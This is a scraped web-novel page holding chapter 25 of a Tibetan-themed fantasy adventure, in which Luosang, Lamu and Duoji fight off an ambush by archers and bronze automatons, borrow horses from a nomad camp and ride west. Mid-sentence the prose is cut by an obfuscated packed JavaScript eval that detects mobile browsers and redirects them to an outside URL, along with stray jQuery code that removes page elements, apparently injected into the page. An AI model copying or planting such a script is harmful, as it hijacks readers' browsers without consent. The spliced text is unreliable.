默认冷灰
24号文字
方正启体

25. 出口伏兵

作者:琴枫落寒本书字数:K更新时间:
    千佛洞天的佛像光芒在身后渐渐黯淡,像一千双眼睛缓缓闭合。洛桑三人沿着来时的通道快步前行,脚步声在狭窄的石壁间回荡,急促而沉闷。通道两侧的长明灯在夜风中摇曳,灯焰忽明忽暗,将三人的影子拉得忽长忽短,像某种古老的皮影戏,又像某种不祥的预兆。


    洛桑走在最前面,铜臂背在背上,手中握着那根从甘丹寺护法殿带出来的铜棍。铜棍表面的梵文咒文在黑暗中泛起微弱的金光,像一条条沉睡的蛇被惊扰,缓缓睁开了眼睛。他的眉心,“卍”字图案还在缓缓旋转,每转一圈,金光就强一分。大圆满心法第七层的功力在他体内流转如江河,丹田中的金色莲花缓缓绽放,八瓣莲花上刻着的八字真言——“嗡、嘛、呢、叭、咪、吽、舍、以”——在金光中闪烁,像八颗永不熄灭的星辰。


    拉姆跟在他身后,天珠在胸前发光,九只眼睛依次亮起,九色光交织在一起,在黑暗中投下一片斑斓的光影。她的手指按在弓弦上,随时准备射击。多吉走在最后,血刀插在腰间的刀鞘里,左手扶着洞壁,右手握着那根从暗河中捞起的枯枝当拐杖。他的脸色依然苍白,但比之前好了很多,呼吸也平稳了许多。千佛洞天的佛像光芒似乎有某种疗愈的功效,那些金色的、温暖的、慈悲的光,照在他身上,驱散了一部分血刀术的反噬。


    通道的尽头,是一扇石门。门高三丈,宽两丈,表面刻满了浮雕。浮雕的内容是莲花生大士的八大化身——释迦狮子、莲花王、金刚持、爱慧、狮子吼、日光、不败王、忿怒莲师。门的中央,刻着一行小字,是用古藏文写的:“出此门者,即入红尘。红尘多险,慎之慎之。”


    洛桑伸手按在门上,金光从掌心渗出,渗入石缝。石门震动了一下,然后缓缓打开。门后是一条更窄的通道,只能容一人通过。通道两侧的墙壁上不再有长明灯,只有头顶偶尔有一道裂缝,漏下几缕月光。月光很淡,被云层遮住了大半,在地上投下惨白的光斑。


    三人鱼贯而入。洛桑走在最前面,将铜棍横在身前,棍头的金光勉强照亮了前方三尺的路。通道的地面铺着青石板,石板上有水渍,长满了青苔,踩上去滑溜溜的。空气潮湿而冰冷,带着一股泥土的腥味和腐烂的甜味,像很久没有打开过的地窖。


    走了大约一炷香的时间,前方出现了亮光——不是长明灯的金光,而是自然的、冰冷的、带着寒意的月光。出口。


    洛桑加快脚步,从通道的出口钻了出去。


    外面是一个山谷。不是他们来时的那种生机盎然的秘境,而是一个荒凉的、被月光照得惨白的峡谷。峡谷的两侧是陡峭的崖壁,崖壁高约百丈,几乎垂直,表面覆盖着厚厚的冰层,在月光下泛着幽蓝色的寒光。谷底铺满了碎石和枯草,风从峡谷的上游灌下来,带着冰雪的寒意和死亡的气息。


    洛桑站在出口,深深地吸了一口气。空气稀薄而清冽,但其中夹杂着一丝不寻常的气味——铁锈的气味,还有……血的气味。


    “不对。”拉姆从通道中走出来,将天珠贴在眉心,闭上眼睛。天珠的第九眼在发光,预知能力在告诉她,前方有危险,很大的危险。“有人在这里设了埋伏。”


    多吉从通道中走出来,靠在出口的岩石上,将血刀从刀鞘中拔出一半,刀身上的暗红色光芒在月光中闪烁,像一只半闭的血色眼睛。“多少人?”


    拉姆沉默了片刻,额头上沁出细密的汗珠。天珠的第九眼越来越亮,翠绿色的光从她的眉心渗出,照亮了她的脸。“二十个……不,三十个。分布在峡谷两侧的崖壁上,还有谷底的前方。他们带了弓箭和弩机,还有一些……铜器。”


    “铜器?”洛桑的眉头皱了起来。


    “机关。”多吉将血刀完全拔出,刀身上的暗红色光芒照亮了他苍白的脸,“萨迦家族的机关铜人。我在黑牦牛的时候见过。萨迦家族守护着‘元朝密卷’,擅长机关术和阵法。他们的机关铜人用青铜铸造,体内装有复杂的齿轮和弹簧,由地下的水力驱动,一旦启动,不把目标杀死或自身被摧毁,绝不会停下。”


    洛桑的瞳孔微微收缩。萨迦家族。他在布达拉宫时听说过这个家族——后藏贵族,守护着“元朝密卷”,擅长机关术和阵法。他们平时很少参与藏地的权力斗争,但一旦出手,就绝不会空手而归。第巴桑结嘉措一定许诺了他们什么,或许是灵童认定的话语权,或许是元朝密卷中缺失的部分,或许是别的什么。


    “他们在等我们。”洛桑将铜棍插在背后的腰带上,从背上取下铜臂,握在手中。铜臂沉重,约莫二十斤,表面刻满了梵文咒文,在月光下泛着暗金色的光泽。他将大圆满心法的真气灌注其中,铜臂亮了起来,金色的光芒从铜臂表面渗出,像一层金色的水膜。“既然等了,就别让他们失望。”


    拉姆从箭囊中抽出三支箭,搭在弓弦上。箭囊中只剩下十二支箭了,每一支都要用在刀刃上。她将天珠从眉心取下,挂在胸前,深吸一口气,将弓拉满。“走吧。”


    三人沿着峡谷向前走去。谷底的路很窄,只有一丈宽,两侧是陡峭的崖壁,崖壁上布满了裂缝和凹坑,正好可以藏人。洛桑走在最前面,铜臂横在身前,金光从铜臂中涌出,形成一道金色的光罩,护住了三人。拉姆跟在他身后,弓拉满,箭尖指向左侧的崖壁。多吉走在最后,血刀拖在地上,刀尖在碎石上划出一道深深的沟痕,沟痕的边缘有暗红色的火焰在燃烧,烧得碎石发出滋滋的声响。


    走了不到百步,左侧的崖壁上传来一声尖锐的哨音。


    哨音在峡谷中回荡,像某种古老的信号。紧接着,右侧的崖壁上也传来一声哨音,然后是前方,然后是后方。四声哨音从四个方向同时响起,将三人围在中间。


    崖壁上的裂缝中,亮起了火把。火把的光芒在夜风中摇曳,照亮了那些藏在裂缝中的人。他们穿着黑色的夜行衣,脸上蒙着黑布,只露出两只眼睛。手中拿着弓箭和弩机,箭头和弩箭在火光中泛着幽绿色的光——那是淬了毒的标志。


    洛桑数了数,左侧崖壁上有八个,右侧崖壁上有八个,前方谷底有八个,后方他们来的方向也有八个。三十二个人,将他们围得水泄不通。


    但最危险的,不是这些黑衣人。而是站在前方谷底中央的四个“人”。


    不,不是人。是铜人。四个铜人,高约八尺,身披铠甲,手持各种兵器——刀、剑、矛、盾。它们的表面覆盖着一层绿色的铜锈,在火把的照耀下泛着诡异的光泽。它们的眼睛亮了起来——不是光,而是真正的、活的眼睛。眼珠是黑色的,瞳孔是红色的,像烧红的炭。


    机关铜人。


    “萨迦家族。”多吉将血刀举到眼前,刀身上的暗红色光芒照在他的脸上,让他的脸看起来像一张鬼脸,“他们果然来了。”


    最中间的那个铜人开口了。不是用嘴说话,而是从胸口的某个机关中发出的声音,沙哑、空洞、像金属摩擦:“护卫族的后人,交出铜匣和钥匙,可留全尸。”


    洛桑没有回答。他将铜臂举过头顶,金光从铜臂中涌出,照亮了整个峡谷。金光所过之处,黑衣人纷纷闭上眼睛,伸手挡住眼睛,有几个站在崖壁边缘的差点失足坠落。


    铜人的眼睛在金光中变得更加明亮,红色的瞳孔像两团燃烧的炭火。它们的身体开始移动——不是走路,而是滑行,像冰面上的影子,无声无息,却带着一种让人窒息的压迫感。


    “拉姆,崖壁上的人交给你。”洛桑将铜臂横在身前,金光在身前形成一道光壁,“多吉,铜人交给你。我对付那个说话的。”


    拉姆没有犹豫,转身面向左侧的崖壁,拉满弓,松弦。三支箭首尾相接,几乎同时射出,射向崖壁上的三个黑衣人。箭矢的速度极快,破空声尖锐刺耳。三个黑衣人来


    不及躲避,被箭矢射中胸口,惨叫着从崖壁上坠落,砸在地上,溅起一片血雾。


    多吉将血刀举过头顶,刀身上的暗红色光芒越来越亮,亮得像一轮血月。他将刀向地面劈去,刀气斩在碎石上,激起一道三尺高的石浪。石浪向前推进,撞上了最前面的那个铜人。铜人被石浪撞得后退了三步,但很快稳住了身形,举起手中的铜刀,向多吉劈来。


    多吉侧身躲避,铜刀擦着他的肩膀劈在地上,将地面劈出一道三尺长的裂痕。碎石飞溅,打在多吉的脸上,划出几道血痕。他咬紧牙关,反手一刀,血刀斩在铜人的手臂上。刀身和铜臂相撞,爆出一团火星。铜人的手臂被斩出一道深深的凹痕,但没有断裂。它举起另一只手臂,铜拳砸向多吉的胸口。


    多吉来不及躲避,只能用血刀格挡。铜拳砸在刀身上,震得他手臂发麻,虎口开裂,血刀差点脱手。他退后三步,单膝跪地,大口大口地喘气。铜人的力量太大了,他的手臂在颤抖,虎口的血顺着刀柄往下流。


    洛桑没有时间去帮多吉。他面前的铜人已经冲了上来,铜矛刺向他的胸口。矛尖的速度极快,破空声尖锐刺耳。洛桑侧身躲避,铜矛擦着他的衣袍刺过,矛尖刺入他身后的岩石,将岩石刺出一个拳头大的洞。


    铜矛卡在了岩石中。铜人用力拔了几下,没能拔出来。洛桑抓住这个机会,挥起铜臂,砸向铜人的头部。铜臂砸在铜人的头颅上,发出沉闷的巨响,像敲钟一样。铜人的头颅被砸得凹陷下去一块,但它的身体只是晃了晃,没有倒下。它松开铜矛,用另一只手臂砸向洛桑。


    洛桑退后一步,铜拳擦着他的鼻尖砸过,拳风刮得他脸颊生疼。他将铜臂横在身前,金光从铜臂中涌出,形成一道金色的光罩。铜拳砸在光罩上,发出金属撞击的声音,光罩剧烈震动,但没有碎裂。


    铜人退后一步,胸口的机关发出了声音:“大圆满心法第七层。不愧是护卫族的后人。”


    洛桑没有回答。他将铜臂举过头顶,将大圆满心法的真气灌注到极限。金光从铜臂中涌出,化作一根金色的长矛,矛尖泛着刺目的金光。他将长矛向铜人的胸口掷去。


    长矛刺穿了铜人的胸口,从背后穿出,钉在身后的崖壁上。铜人的身体剧烈震动,胸口的机关发出刺耳的吱嘎声,像齿轮卡住了。它的眼睛闪烁了几下,然后熄灭了。它的身体僵硬了,像一尊雕塑,站在原地,一动不动。


    洛桑松了一口气。


    但另外三个铜人同时冲了上来。一个用刀,一个用剑,一个用盾。三件兵器从三个方向攻来,封住了洛桑所有退路。洛桑踏出月影步,身影在月光中忽左忽右,忽前忽后,化作十六道残影。三个铜人的攻击全部落空,兵器砸在地上,将地面砸出三个大坑。


    洛桑的本体出现在用盾的铜人身后,铜臂砸向铜人的后脑。铜臂砸在铜人的后脑上,发出沉闷的巨响,铜人的头颅被砸得向前倾,但它没有倒下,反而转身用盾牌砸向洛桑。


    盾牌的速度极快,洛桑来不及躲避,只能用铜臂格挡。盾牌砸在铜臂上,震得他手臂发麻,虎口开裂,铜臂差点脱手。他退后三步,单膝跪地,大口大口地喘气。铜人的力量太大了,第七层的大圆满心法虽然强大,但对真气的消耗也是惊人的。刚才那一轮攻击,他用掉了丹田中三成的真气。


    拉姆的箭到了。三支箭从她手中飞出,射向用盾的铜人的眼睛。箭矢精准地射入了铜人的眼眶,箭头上的天珠粉末爆发出蓝色的火焰。火焰在铜人的头颅内燃烧,烧得它的眼睛发出滋滋的声响。铜人惨叫一声,双手捂住脸,盾牌掉在地上,身体摇晃了几下,轰然倒地。


    多吉的血刀也到了。他将血刀举过头顶,深吸一口气,然后猛地向用刀的铜人劈去。刀气化作一道血虹,贯穿整个峡谷,斩在铜人的腰部。铜人被斩成两段,上半身飞了出去,砸在地上,溅起一片碎石。下半身还站在原地,走了两步,然后倒下。


    最后一个铜人见势不妙,转身想逃。洛桑从地上站起来,将铜臂掷出,铜臂在空中旋转,砸在铜人的后背上。铜人被砸得向前扑倒,摔在地上,挣扎了几下,没能站起来。洛桑走过去,一脚踩在铜人的背上,从腰带上拔出铜棍,将棍尖抵在铜人的后脑。


    “谁派你们来的?”他的声音冰冷。


    铜人胸口的机关发出了声音,沙哑、空洞、像金属摩擦:“萨迦家族……不会……放过……你……”


    洛桑将铜棍刺入铜人的后脑。铜棍贯穿了铜人的头颅,从嘴巴穿出。铜人的眼睛闪烁了几下,然后熄灭了。它的身体僵硬了,像一尊雕塑,趴在地上一动不动。


    峡谷安静了下来。


    崖壁上的黑衣人已经逃了大半,剩下的几个被拉姆的箭射中,倒在血泊中。拉姆的箭囊中只剩下五支箭了,她的手指在颤抖,不是因为恐惧,而是因为疲惫。


    多吉靠在崖壁上,血刀插在地上,支撑着他的身体。他的脸色苍白如纸,左臂的伤口又裂开了,血顺着手指往下流。血刀术的反噬还在继续侵蚀他的身体,他的头发比之前更白了,脸上的皱纹更深了。


    洛桑走到他身边,从怀中取出益西给的疗伤药,挖了一大块,涂在多吉的伤口上。药膏是黑色的,带着一股浓烈的藏红花味,涂上去的瞬间,多吉倒吸一口凉气,额头上的青筋暴起,冷汗顺着脸颊往下流。


    “疼就对了。”洛桑将药膏涂匀,用布条包扎好,“疼说明还有感觉,还有感觉说明还活着。”


    多吉笑了笑,笑得很勉强。“还活着。”


    拉姆从箭囊中抽出最后一支箭,搭在弓弦上,警惕地盯着峡谷的入口。“有人来了。”


    洛桑竖起耳朵,凝神细听。大圆满心法的真气灌注双耳,将感知力提升到最大。他听到了——马蹄声,不是一匹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537218|203853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    马,是很多马,至少有二十匹。马蹄声从峡谷的入口传来,越来越近,越来越响。火把的光芒在峡谷中闪烁,像一串移动的星星。


    “又是追兵。”洛桑从地上捡起铜臂,握在手中,“走!”


    三人向峡谷的深处跑去。峡谷越来越窄,两侧的崖壁越来越陡,头顶的天空越来越小,最后只剩下一线。月光从那一线天空中漏下来,在地上投下惨白的光斑。


    跑了大约一炷香的时间,前方出现了一个岔路口。一条路向左,一条路向右。洛桑停下脚步,从怀中取出地图,借着月光查看。地图上标注,向左的路通向当雄草原,向右的路通向雅鲁藏布江。


    “走哪边?”拉姆问。


    洛桑沉默了片刻,将地图卷好,塞进怀里。“向左。当雄草原。那里有游牧家族的人,可以借马。”


    三人向左边的岔路跑去。身后的马蹄声越来越近,火把的光芒越来越亮。追兵已经到了岔路口,他们犹豫了一下,然后也向左边的岔路追来。


    峡谷的尽头,是一片草原。


    当雄草原。


    月光下,草原像一片银色的海洋,无边无际。草很高,半人深,风吹过,草浪翻滚,发出沙沙的声响。远处,有星星点点的灯火,那是游牧家族的帐篷。


    洛桑三人跑进草原,草丛淹没了他们的身影。身后的追兵也追进了草原,火把的光芒在草丛中闪烁,像一群萤火虫。


    跑了大约半个时辰,前方出现了一个营地。营地不大,只有十几顶帐篷,帐篷是用牦牛毛编织的,黑乎乎的,在月光下像一个个巨大的蘑菇。营地中央有一堆篝火,火焰在夜风中摇曳,照亮了周围几顶帐篷。


    洛桑停下脚步,从怀中取出地图,在月光下展开。地图上标注,这个营地属于一个叫“措姆”的游牧家族,是拉姆的远亲。


    “拉姆,你去叫门。”洛桑将地图收好,“我和多吉在这里等。”


    拉姆点了点头,向营地走去。她走到营地门口,用藏语喊了几声。帐篷里走出一个中年女人,约莫四十岁,身材高大,虎背熊腰,脸上有刀疤,眼神凶狠。她穿着一件羊皮袄,腰间挂着一把弯刀,刀鞘是银质的,上面镶嵌着绿松石和珊瑚。


    “谁?”女人的声音粗犷,像男人。


    “措姆姑姑,是我。”拉姆将天珠从胸前取下,举到火把前,“拉姆。”


    女人的瞳孔微微收缩。她盯着天珠看了很久,然后抬起头,看着拉姆的脸。她的眼神从凶狠变成了惊讶,从惊讶变成了敬畏。


    “拉姆公主。”她单膝跪地,右手抚胸,“措姆恭迎公主。”


    拉姆伸手扶起措姆,将她拉到一边,低声说了几句话。措姆的脸色变了,变得凝重。她看了看洛桑和多吉,点了点头,转身走进营地,对几个男人吩咐了几句。


    男人们牵出三匹马,马背上驮着褡裢、水囊和干粮袋。马是青海骢,青黑色的,高大健壮,鬃毛在月光下泛着银白色的光泽。


    “公主,这是家族最好的马。”措姆将缰绳递给拉姆,“从这里往西,走最快的路线,骑马日夜兼程,一个月就能到古格。”


    拉姆接过缰绳,将天珠挂在胸前,向措姆鞠了一躬。“多谢姑姑。”


    措姆摇了摇头,从怀中取出一只羊皮袋,递给拉姆。“这是血还丹。古格遗民的秘药,能暂时压制血刀术的反噬,续命三年。三年之后,药效一过,反噬会加倍,到那时候,就算神仙也救不了。”


    拉姆接过羊皮袋,塞进怀里,转身走向洛桑和多吉。


    “走。”她翻身上马,将弓背在肩上,“古格在等我们。”


    洛桑和多吉也翻身上马。三匹马在草原上奔跑,马蹄扬起尘土,在月光中形成一道道烟尘。身后的营地越来越远,篝火越来越小,最后变成一点微弱的星光,消失在黑暗中。


    跑了大约一个时辰,身后的追兵被甩掉了。洛桑勒住马,回头看了一眼。草原上只有月光和风声,没有火把,没有马蹄声。他松了一口气,从马上跳下来,牵着马走了一段,让马休息一下。


    拉姆也跳下马,将天珠从胸前取下,握在掌心。天珠的第九眼在发光,预知能力在告诉她,前方还有危险,更大的危险。


    “还有追兵。”她说,“在前面等着我们。”


    洛桑从怀中取出地图,在月光下展开。地图上标注,当雄草原的西北角,有一个山口,名叫“扎西拉姆”,是通往阿里的必经之路。山口两侧是陡峭的崖壁,只有中间一条窄道,宽度不到三丈,长度约两百丈。如果有人在那里设伏,他们就是瓮中之鳖。


    “扎西拉姆山口。”洛桑将地图卷好,塞进怀里,“他们会在那里等我们。”


    多吉从马上跳下来,将血刀插在腰间,走到洛桑身边,伸手拍了拍他的肩膀。“那就去会会他们。”


    三人重新上马,向西北方向奔去。


    月亮越升越高,月光越来越亮。草原上的草在月光下泛着银白色的光泽,像一片银色的海洋。风从西北方向吹来,带着冰雪的寒意和死亡的气息。


    洛桑抬头看着天空中的月亮,月牙弯弯,像一弯银色的钩子,钩住了他的目光。


    双月同天。灵童非一。


    这句话,到底是什么意思?


    他不知道。但他知道,总有一天,他会找到答案。


    夜风呼啸,吹动了他的衣袍和头发。


    远方的雪山沉默无言,像千年前一样,注视着这片土地上永不停息的恩怨情仇。


    但在远方的黑暗中,追兵还在。


    他们不会放弃。


    第巴不会放弃。


    萨迦家族不会放弃。


    但只要他还活着,只要拉姆还活着,只要多吉还活着,他们就不会放弃。


    护卫族的使命,天珠的传承,灵童的秘密——所有的答案,都在前方。


    在古格。


    在108号伏藏洞。


    在初代□□的虹化遗蜕中。


    洛桑深吸一口气,加快了速度。


    风在耳边呼啸,马蹄声在草原上回荡。


    古格在西方。


    灵童甄别法在古格。


    他必须去。


    身后的黑暗中,火把的光芒再次亮起。追兵追来了。


    洛桑没有回头。


    他不需要回头。


    他知道,追兵不会放弃。


    但他也不会放弃。


    夜风呼啸,吹动了他的衣袍和头发。


    远方的雪山沉默无言,像千年前一样,注视着这片土地上永不停息的恩怨情仇。


    但这一次,有一个人,在注视中前行。


    带着天珠,带着血刀,带着大圆满心法的金光。


    带着希望。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)